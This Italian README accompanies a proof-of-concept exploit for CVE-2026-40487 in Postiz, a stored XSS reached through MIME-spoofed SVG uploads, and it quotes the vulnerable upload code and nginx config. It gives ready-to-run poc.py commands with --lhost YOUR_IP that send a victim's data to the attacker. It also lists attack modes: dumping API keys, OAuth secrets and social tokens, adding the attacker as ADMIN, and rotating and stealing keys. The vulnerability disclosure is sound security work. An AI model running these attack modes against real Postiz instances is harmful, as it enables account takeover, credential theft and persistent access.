
Proof-of-concept exploit per CVE-2026-40487, che dimostra il caricamento arbitrario di file tramite spoofing MIME che porta a XSS persistente e furto dell'account in Postiz. Include molteplici modalità di attacco per l'esfiltrazione dei dati, l'escalation dei privilegi e la persistenza.
Scoperta e segnalata da: Astaruf
Analisi completa: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
Voce GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
Record CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz è uno strumento open-source di gestione dei social media con oltre 28 integrazioni di piattaforme (Instagram, X, LinkedIn, Facebook, TikTok, ecc.), utilizzato da oltre 600 istanze esposte su internet.
Un attaccante con privilegi bassi può caricare un file SVG (o HTML) malevolo con un header Content-Type: image/png falsificato. Il server accetta il file senza ispezionarne il contenuto effettivo, preserva l'estensione originale, e nginx lo serve con il Content-Type derivato da quell'estensione (image/svg+xml). Quando una vittima apre l'URL, il JavaScript incorporato viene eseguito nell'origine dell'applicazione, dando all'attaccante piene capacità di dirottamento della sessione, equivalenti al furto dell'account.
La catena di attacco:
L'attaccante carica .svg con Content-Type: image/png
-> Il server valida solo l'header Content-Type (CWE-345)
-> Il file viene salvato su disco con l'estensione .svg originale (CWE-434)
-> nginx lo serve come image/svg+xml
-> Il browser esegue il JavaScript incorporato (CWE-79)
-> Stessa origine: accesso completo alla sessione della vittima
Il payload XSS viene eseguito nella stessa origine dell'applicazione. Anche se il cookie di autenticazione è HttpOnly, fetch() con credentials: "include" lo allega automaticamente. L'attaccante può:
pos_* che non scade mai e sopravvive ai cambi di password)Tre componenti falliscono in modo indipendente, creando la catena di sfruttamento:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype proviene dall'header Content-Type nella richiesta multipart, che l'attaccante controlla. Nessuna ispezione dei magic byte, nessun uso di librerie come file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) estrae l'estensione dal nome file fornito dal client. Nessun controllo di coerenza tra il tipo MIME dichiarato e l'estensione. Il server restituisce anche l'URL pubblico completo nella risposta, quindi l'attaccante ottiene il link da inviare alla vittima.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx mappa .svg a image/svg+xml, .html a text/html. Nessun Content-Security-Policy, nessun X-Content-Type-Options: nosniff, nessun Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Verifica se il target è vulnerabile
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Esfiltra tutto dalla vittima
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Crea una backdoor persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Riusa il token senza credenziali
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Attaccante Server Postiz Vittima
| | |
|-- 1. Login/Registrazione --->| |
|-- 2. Upload SVG malevolo --->| |
|<---- URL del file -----------| |
|-- 3. Invio URL alla vittima ------------------------> |
| |<--- 4. Apre l'URL ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS si esegue, esfiltra i dati ------|
| Modalità | Descrizione |
|---|---|
dump-self | Profilo vittima, info organizzazione, tier, chiave API |
dump-personal | Nome visualizzato, bio, foto profilo |
dump-integrations | Integrazioni social collegate e token |
dump-posts | Post programmati e bozze (ultimi 365 giorni) |
dump-team | Membri del team, ruoli e indirizzi email |
dump-media | Elenco della libreria multimediale |
dump-notifications | Cronologia notifiche |
dump-signatures | Firme dei post |
dump-webhooks | Webhook configurati e i loro URL |
dump-oauth-app | Credenziali app OAuth (clientId, secret) |
dump-copilot | Thread di conversazione del copilot AI |
dump-billing | Informazioni di fatturazione e abbonamento |
dump-settings | Impostazioni shortlink e notifiche |
dump-third-party | Configurazioni integrazioni di terze parti |
dump-autopost | Regole di pubblicazione automatica |
dump-sets | Set di contenuti |
dump-tags | Tag dei post |
dump-customers | Elenco clienti |
full-dump | Tutto quanto sopra in un singolo payload |
| Modalità | Descrizione |
|---|---|
add-admin | Invita l'attaccante come ADMIN nell'organizzazione della vittima (--attacker-email) |
rotate-key | Ruota la chiave API dell'organizzazione e la esfiltra |
rotate-oauth | Ruota il segreto dell'app OAuth e lo esfiltra |